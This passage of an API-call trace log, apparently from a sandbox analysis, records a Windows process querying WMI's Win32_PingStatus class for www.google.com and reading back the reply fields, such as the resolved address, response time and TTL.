(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.548] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.548] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0138.548] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0138.548] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.548] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0138.549] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0138.549] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.549] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59ee8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee8b8 | out: pNames=0x59ee8b8*="\x01ƀ\x04") returned 0x0 [0138.549] SafeArrayGetDim (psa=0x4f3e450) returned 0x1 [0138.549] SafeArrayGetDim (psa=0x4f3e450) returned 0x1 [0138.549] SafeArrayGetLBound (in: psa=0x4f3e450, nDim=0x1, plLbound=0x59ee750 | out: plLbound=0x59ee750) returned 0x0 [0138.549] SysStringByteLen (bstr="Address") returned 0xe [0138.549] SysStringByteLen (bstr="Address") returned 0xe [0138.549] SysStringByteLen (bstr="BufferSize") returned 0x14 [0138.549] SysStringByteLen (bstr="BufferSize") returned 0x14 [0138.549] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0138.549] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0138.549] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0138.549] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0138.549] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0138.549] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0138.549] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0138.549] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0138.549] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0138.549] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0138.549] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0138.549] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0138.549] SysStringByteLen (bstr="ReplySize") returned 0x12 [0138.549] SysStringByteLen (bstr="ReplySize") returned 0x12 [0138.550] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0138.550] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0138.550] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0138.550] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0138.550] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0138.550] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0138.550] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0138.550] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0138.550] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0138.550] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0138.550] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0138.550] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0138.550] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0138.550] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0138.550] SysStringByteLen (bstr="StatusCode") returned 0x14 [0138.550] SysStringByteLen (bstr="StatusCode") returned 0x14 [0138.550] SysStringByteLen (bstr="Timeout") returned 0xe [0138.550] SysStringByteLen (bstr="Timeout") returned 0xe [0138.550] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0138.550] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0138.550] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0138.550] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0138.550] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0138.550] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0138.550] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0138.550] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0138.550] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0138.550] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0138.550] SysStringByteLen (bstr="TypeofService") returned 0x1a [0138.551] SysStringByteLen (bstr="TypeofService") returned 0x1a [0138.551] IWbemClassObject:Get (in: This=0x507f00, wszName="Address", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24360f0*=0, plFlavor=0x24360f4*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x24360f0*=8, plFlavor=0x24360f4*=0) returned 0x0 [0138.551] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.551] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.551] IWbemClassObject:Get (in: This=0x507f00, wszName="BufferSize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436180*=0, plFlavor=0x2436184*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2436180*=19, plFlavor=0x2436184*=0) returned 0x0 [0138.551] IWbemClassObject:Get (in: This=0x507f00, wszName="NoFragmentation", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24361f0*=0, plFlavor=0x24361f4*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24361f0*=11, plFlavor=0x24361f4*=0) returned 0x0 [0138.551] IWbemClassObject:Get (in: This=0x507f00, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436428*=0, plFlavor=0x243642c*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436428*=19, plFlavor=0x243642c*=0) returned 0x0 [0138.551] IWbemClassObject:Get (in: This=0x507f00, wszName="ProtocolAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436498*=0, plFlavor=0x243649c*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="172.217.18.100", varVal2=0x0), pType=0x2436498*=8, plFlavor=0x243649c*=0) returned 0x0 [0138.552] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0138.552] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0138.552] IWbemClassObject:Get (in: This=0x507f00, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436534*=0, plFlavor=0x2436538*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2436534*=8, plFlavor=0x2436538*=32) returned 0x0 [0138.552] SysStringByteLen (bstr="") returned 0x0 [0138.552] SysStringByteLen (bstr="") returned 0x0 [0138.552] IWbemClassObject:Get (in: This=0x507f00, wszName="RecordRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436598*=0, plFlavor=0x243659c*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436598*=19, plFlavor=0x243659c*=0) returned 0x0 [0138.552] IWbemClassObject:Get (in: This=0x507f00, wszName="ReplyInconsistency", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436694*=0, plFlavor=0x2436698*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436694*=11, plFlavor=0x2436698*=0) returned 0x0 [0138.552] IWbemClassObject:Get (in: This=0x507f00, wszName="ReplySize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436704*=0, plFlavor=0x2436708*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2436704*=19, plFlavor=0x2436708*=0) returned 0x0 [0138.553] IWbemClassObject:Get (in: This=0x507f00, wszName="ResolveAddressNames", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436774*=0, plFlavor=0x2436778*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436774*=11, plFlavor=0x2436778*=0) returned 0x0 [0138.553] IWbemClassObject:Get (in: This=0x507f00, wszName="ResponseTime", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24367e4*=0, plFlavor=0x24367e8*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), pType=0x24367e4*=19, plFlavor=0x24367e8*=0) returned 0x0 [0138.553] IWbemClassObject:Get (in: This=0x507f00, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436854*=0, plFlavor=0x2436858*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x71, varVal2=0x0), pType=0x2436854*=19, plFlavor=0x2436858*=0) returned 0x0 [0138.553] IWbemClassObject:Get (in: This=0x507f00, wszName="RouteRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24368c4*=0, plFlavor=0x24368c8*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24368c4*=8200, plFlavor=0x24368c8*=32) returned 0x0 [0138.553] IWbemClassObject:Get (in: This=0x507f00, wszName="RouteRecordResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436928*=0, plFlavor=0x243692c*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436928*=8200, plFlavor=0x243692c*=32) returned 0x0 [0138.554] IWbemClassObject:Get (in: This=0x507f00, wszName="SourceRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243698c*=0, plFlavor=0x2436990*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x243698c*=8, plFlavor=0x2436990*=0) returned 0x0 [0138.554] SysStringByteLen (bstr="") returned 0x0 [0138.554] SysStringByteLen (bstr="") returned 0x0 [0138.554] IWbemClassObject:Get (in: This=0x507f00, wszName="SourceRouteType", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24369f0*=0, plFlavor=0x24369f4*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24369f0*=19, plFlavor=0x24369f4*=0) returned 0x0 [0138.554] IWbemClassObject:Get (in: This=0x507f00, wszName="StatusCode", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436a60*=0, plFlavor=0x2436a64*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436a60*=19, plFlavor=0x2436a64*=0) returned 0x0 [0138.554] IWbemClassObject:Get (in: This=0x507f00, wszName="Timeout", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436f08*=0, plFlavor=0x2436f0c*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x2436f08*=19, plFlavor=0x2436f0c*=0) returned 0x0 [0138.554] IWbemClassObject:Get (in: This=0x507f00, wszName="TimeStampRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436f78*=0, plFlavor=0x2436f7c*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436f78*=8211, plFlavor=0x2436f7c*=32) returned 0x0 [0138.554] IWbemClassObject:Get (in: This=0x507f00, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436fdc*=0, plFlavor=0x2436fe0*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2436fdc*=8200, plFlavor=0x2436fe0*=32) returned 0x0 [0138.555] IWbemClassObject:Get (in: This=0x507f00, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2437040*=0, plFlavor=0x2437044*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2437040*=8200, plFlavor=0x2437044*=32) returned 0x0 [0138.555] IWbemClassObject:Get (in: This=0x507f00, wszName="TimestampRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24370a4*=0, plFlavor=0x24370a8*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24370a4*=19, plFlavor=0x24370a8*=0) returned 0x0 [0138.555] IWbemClassObject:Get (in: This=0x507f00, wszName="TimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2437114*=0, plFlavor=0x2437118*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2437114*=19, plFlavor=0x2437118*=0) returned 0x0 [0138.555] IWbemClassObject:Get (in: This=0x507f00, wszName="TypeofService", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2437290*=0, plFlavor=0x2437294*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2437290*=19, plFlavor=0x2437294*=0) returned 0x0 [0138.555] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=0, plFlavor=0x59ee8c8*=0 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0138.555] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.555] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.555] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0138.556] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.556] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.556] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64 | out: pVal=0x59ee848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59ee8cc*=8, plFlavor=0x59ee8c8*=64) returned 0x0 [0138.556] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.556] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x454 [0138.556] SetEvent (hEvent=0x3f0) returned 1 [0138.556] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x454, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0138.559] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0138.559] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0138.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da890, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da890) returned 0x0 [0138.560] WbemDefPath:IUnknown:AddRef (This=0x4da890) returned 0x3 [0138.560] WbemDefPath:IUnknown:Release (This=0x4da890) returned 0x2 [0138.560] WbemDefPath:IWbemPath:SetText (This=0x4da890, uMode=0x4, pszPath="") returned 0x0 [0138.560] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x464 [0138.560] SetEvent (hEvent=0x3f0) returned 1 [0138.560] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x464, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0138.562] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0138.562] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0138.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da820) returned 0x0 [0138.562] WbemDefPath:IUnknown:AddRef (This=0x4da820) returned 0x3 [0138.562] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x2 [0138.562] WbemDefPath:IWbemPath:SetText (This=0x4da820, uMode=0x4, pszPath="") returned 0x0 [0138.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da820, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0138.562] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da890, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0138.563] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da820, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0138.563] WbemDefPath:IWbemPath:GetServer (in: This=0x4da820, puNameBufLength=0x59ee89c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee89c*=0x0, pName=0x0) returned 0x80041009 [0138.563] WbemDefPath:IWbemPath:SetServer (This=0x4da820, Name="Q9IATRKPRH") returned 0x0 [0138.563] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0138.563] SetEvent (hEvent=0x3f0) returned 1 [0138.563] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59ee7a4*=0x410, lpdwindex=0x59ee5c8 | out: lpdwindex=0x59ee5c8) returned 0x0 [0138.565] CoGetContextToken (in: pToken=0x59ee67c | out: pToken=0x59ee67c) returned 0x0 [0138.566] CoGetContextToken (in: pToken=0x59ee5dc | out: pToken=0x59ee5dc) returned 0x0 [0138.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x59ee6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59ee6a8 | out: ppvObject=0x59ee6a8*=0x4da7b0) returned 0x0 [0138.566] WbemDefPath:IUnknown:AddRef (This=0x4da7b0) returned 0x3 [0138.566] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x2 [0138.566] WbemDefPath:IWbemPath:SetText (This=0x4da7b0, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da820, puCount=0x59ee848 | out: puCount=0x59ee848*=0x0) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da7b0, puCount=0x59ee848 | out: puCount=0x59ee848*=0x2) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=16, puBuffLength=0x59ee844*=0x0, pszText=0x0 | out: puBuffLength=0x59ee844*=0xb, pszText=0x0) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetText (in: This=0x4da7b0, lFlags=16, puBuffLength=0x59ee844*=0xb, pszText="0000000000" | out: puBuffLength=0x59ee844*=0xb, pszText="root\\cimv2") returned 0x0 [0138.566] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x4da820) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da7b0, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da7b0, uIndex=0x0, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x5, pName=0x0) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da7b0, uIndex=0x0, puNameBufLength=0x59ee87c*=0x5, pName="0000" | out: puNameBufLength=0x59ee87c*=0x5, pName="root") returned 0x0 [0138.566] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da820, uIndex=0x0, pszName="root") returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da7b0, uIndex=0x1, puNameBufLength=0x59ee87c*=0x0, pName=0x0 | out: puNameBufLength=0x59ee87c*=0x6, pName=0x0) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x4da7b0, uIndex=0x1, puNameBufLength=0x59ee87c*=0x6, pName="00000" | out: puNameBufLength=0x59ee87c*=0x6, pName="cimv2") returned 0x0 [0138.566] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x4da820, uIndex=0x1, pszName="cimv2") returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetClassName (in: This=0x4da820, puBuffLength=0x59ee8a0*=0x0, pszName=0x0 | out: puBuffLength=0x59ee8a0*=0x0, pszName=0x0) returned 0x8004103a [0138.566] WbemDefPath:IWbemPath:SetClassName (This=0x4da820, Name="Win32_PingStatus") returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da820, puCount=0x59ee8e4 | out: puCount=0x59ee8e4*=0x2) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetText (in: This=0x4da820, lFlags=4, puBuffLength=0x59ee8e0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8e0*=0x29, pszText=0x0) returned 0x0 [0138.566] WbemDefPath:IWbemPath:GetText (in: This=0x4da820, lFlags=4, puBuffLength=0x59ee8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59ee8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0138.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.569] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.569] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0138.569] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0138.569] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.569] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0138.569] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.570] 